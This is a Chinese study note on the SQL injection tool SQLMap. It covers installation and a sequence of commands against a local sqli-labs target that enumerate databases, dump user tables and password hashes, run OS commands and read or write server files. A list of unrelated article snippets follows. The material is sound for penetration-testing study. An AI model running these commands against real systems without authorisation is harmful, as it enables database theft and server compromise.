常用的渗透测试工具之 SQLMap

2023-11-15

《web安全攻防》第三章学习之SQLmap

SQLMap介绍:

SQLMap是自动化的SQL注入工具,主要功能是扫描,发现并利用URL的SQL注入漏洞,内置了很多绕过插件。SQLMap采用了五种独特的SQL注入技术,如下:

(1)基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
(3)基于报错注入,即页面会返回错误信息,或者者把注入的语句的结果直接返回到页面中。
(4)联合查询注入,在可以使用Union的情况下的注入。
(5)堆查询注入,可以以同时执行多条语句时的注入。

SQLMap的强大功能包括数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

3.1安装SQLMap

安装SQLmap前需要先安装python2版本的,我安装的是python2.7,在python官网上下载安装即可

python官网:Welcome to Python.org

sqlmap官网:http://sqlmap.org/

 点击下载解压即可。

下载后将整个SQLmap文件夹放在安装python的文件夹下。

 然后配置环境变量:

复制python27和SQLmap文件位置进行配置

接下来打开命令行,输入sqlmap.py出现一下界面,即设置成功 

 3.2 SQLMap入门

(1)拿到一个站点,要判断是否存在注入,假设目标注入点是:http://127.0.0.1/sql/Less-1/?id=1

命令为:sqlmap.py  -u http://127.0.0.1/sql/Less-1/?id=1 --batch

 当注入点后面的参数大于等于两个时,需要加双引号,如下:

命令为:sqlmap.py  -u "http://127.0.0.1/sql/Less-1/?id=2" --batch

(2)判断文本中的请求是否存在注入

 (3)查询当前用户下的所有数据库

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs

(4)获取数据库中的表名

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables

 

 (5)获取表中的字段名

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns

(6)获取字段内容

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C id,username,password --dump

(7)获取数据库的所有用户

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users

(8)获取数据库用户的密码

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --passwords

 

(9)获取当前数据库的名称

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db --batch

(10)获取当前网站数据库的用户名称

命令行:sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=3" --current-user

 3.3SQLMap进阶:参数讲解

(1)--level5 :探测等级

参数--level 5 指的是需要执行的5个等级,可不加level,默认为1。cookie测试等级为2,HTTPUser-Agent/Referer头在level为3时测试。总之,在不确定那个Payload或参数注入点时,为了保证全面性,建议使用高的level值。

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --level 3

(2)--is-dba:当前用户是否为管理权限

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --is-dba

该命令用于查看当前账户是否为数据库管理账户,是的话返回Ture

(3)--roles:列出数据库管理员角色

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --roles

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。

(4)--referer: HTTP Referer头

SQLMap可以在请求中伪造HTTP中的referer,当--level参数设定为3及以上时,会尝试对Referer注入。可以使用referer命令来欺骗。

如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --referer http://www.baidu.com

用这个进行探测的话,会认为探测的页面是从百度过来的,而不是自己本体主机

(5)--sql-shell:运行自定义的SQL语句

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --sql-shell

(6)--os-cmd,--os-shell:运行任意操作系统命令

执行该命令具备的条件:

数据库用户是dba权限;

知道网站的绝对路径;

PHP当中的gpc为off,PHP自动转义为关闭状态;

就算具备上述三个条件,因涉及系统命令,也未必执行成功。

(7)--file-read:从数据库服务器中读取文件

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-read "C:/1.txt"

(8)--file-write --file-dest:上传文件到数据库服务器中

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-write "上传文件路径(相对路径)"--file-dest "目标文件系统绝对路径"

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

常用的渗透测试工具之 SQLMap 的相关文章

随机推荐

  • Python3 安装 MySQL-python错误解决

    目的 解决 python3 利用 pip 安装 MySQL python 问题 参考错误信息 apps svr python3 bin pip3 install MySQL python Collecting MySQL python Us
  • shuqian

    h1 Bookmarks h1 dl p p dt h3 h3 dt dl
  • 【Nexus】安装配置与使用

    1 为什么使用Nexus 如果没有私服 我们所需的所有构件都需要通过maven的中央仓库和第三方的Maven仓库下载到本地 而一个团队中的所有人都重复的从maven仓库下 载构件无疑加大了仓库的负载和浪费了外网带宽 如果网速慢的话 还会影响
  • Constructing Roads In JGShining's Kingdom

    点击打开链接 Problem Description JGShining s kingdom consists of 2n n is no more than 500 000 small cities which are located i
  • Python3+pyshark捕获数据包并保存为文件

    一 直接使用wireshark捕获数据包并保存为文件 可以使用wireshark通过图形界面的操作来实现捕获数据包并保存为文件 wireshark默认捕获的数据包保存为临时文件 如果最后退出时不选择保存那么临时文件将会被删除 可以在 菜单栏
  • 汉明距离(Hamming Distance)

    汉明距离 Hamming Distance 定义 汉明距离以美国数学家理查德 卫斯里 汉明的名字命名 表示两个相同长度的字符串在相同位置上不同字符的个数 用d x y 来表示x和y两个字符串的汉明距离 汉明距离可以用来计算两个文本之间的相似
  • diff和patch命令——Linux命令解析(一)

    个人学习记录使用 一 说明 patch命令和diff命令 往往是要搭配使用的 patch 利用提供的补丁文件 给源文件打补丁 diff 比较两个文件 生成需要修改的补丁文件 二 diff命令 生成补丁文件 1 命令格式 diff optio
  • Cygwin 、MSYS、MinGW 的区别与联系是怎样的?

    讲区别联系之前 我们先看一下这几个东东的前世今生 Cygwin 原 Cygnus 出品 已被红帽收购 目前是 RedHat 名下的项目 项目的目的是提供运行于 Windows 平台的类 Unix 环境 以 GNU 工具为代表 为了达到这个目
  • Java 中的Lock锁对象(ReentrantLock/ReentrantReadWriteLock)详解

    目录 1 Lock Objects 详解 2 Java 中的 Lock Objects 的实现原理 3 ReentrantLock 详解 4 ReentrantReadWriteLock 详解 5 Lock锁的等待和唤醒 6 Lock 和
  • 代码的执行原理

    代码的执行原理 一 代码段 什么是代码段 一个script标签就是一个代码段 JS代码在执行时 是一个代码段一个代码段执行 二 代码执行的步骤 JS代码在执行时分两个阶段 1 预编译 2 代码执行 每一个阶段做的事情是不一样的 先了解一下定
  • UE5 Rokoko Studio Live(动捕实时链接)

    UE5 Rokoko动作捕捉实时 一 新建初始化项目 添加插件 打开UE5 1 1 新建 第三人称游戏 文件夹筛选找到模板自带的关卡 新建动画蓝图 gt 然后选择到UE的小白人骨骼 因为我们需要Rokoko的实时动捕 需要在项目里添加Rok
  • IDEA常用快捷键

    IDEA常用快捷键 快捷键 描述 Ctrl Shift R 全局搜索 替换 Ctrl Shift F 全局搜索 Ctrl F 局部搜索 Shift双击 搜索类 接口等 Ctrl 鼠标点击类名称 进入类的内部 Ctrl Alt O 清除不使用
  • 气候数据处理代码实现

    案例 根据站点降雨量日数据求月总降雨量 年总降雨量 月降雨天数 年降雨天数等 数据 部分数据如下 统计结果
  • 怎么理解KMP算法中的next数组(为甚有时候加一有时候不加一?)

    KMP算法怎么来的和找规律 以及对于BF算法他的主要区别就不再赘述我们 我们来说一下怎么用最快的速度加上已知规律找到给定字符串的next数组 C语言中和java中都适用 我们已经找到了部分规律 next数组中的值可能和已匹配部分字符串的前缀
  • 关于RabbitMQ的面试题

    关于RabbitMQ的面试题 整理了一下面试中问到rabbitmq消息队列时 面试官可能会问到的问题 面试题1 为什么使用rabbitmq 什么时候用 怎么用 一开始写项目 架构比较单一 使用的是单体结构 把所有的业务都堆积在一个项目里 随
  • [1220]hue数据导出

    1 执行要下载的sql语句 2 执行完成后 点击下面导出 3 选择所有 4 选择每个人对应的文件夹 没有自己名称的可以创建一个 5 选择导出 6 右面是导出执行时的界面 7 选择已经执行的文件 8 按照下面截图提示 就可以将文件下载到本地了
  • iOS上架报错:无法添加以供审核

    无法提交以供审核 要开始审核流程 必须提供以下项目 您必须为要添加的 app 提供版权信息 您在提交 app 审核时遇到的问题是因为需要提供版权信息 而您的 app 缺少相关的版权信息 以下是解决此问题的步骤 确认您是否拥有 app 的版权
  • kettle 关于数据库事务操作的解释说明

    事务与数据库 1 数据库连接只在执行作业或转换时使用 在作业里 每一个作业项都打开和关闭一个独立的数据库连接 转换也是如此 但是因为转换里的步骤是并行执行的 每个步骤都打开一个独立的数据库连接并开始一个事务 尽管这样在很多情况下会提高性能
  • Airbnb深度学习在搜索领域的探索总结

    今天的博客主要参考了Airbnb发表的paper Applying Deep Learning To Airbnb Search 这篇paper介绍了近2年Airbnb在搜索场景下所使用模型的演进路线 以及一些失败的总结和经验的总结 最难能
  • 常用的渗透测试工具之 SQLMap

    web安全攻防 第三章学习之SQLmap SQLMap介绍 SQLMap是自动化的SQL注入工具 主要功能是扫描 发现并利用URL的SQL注入漏洞 内置了很多绕过插件 SQLMap采用了五种独特的SQL注入技术 如下 1 基于布尔类型的盲注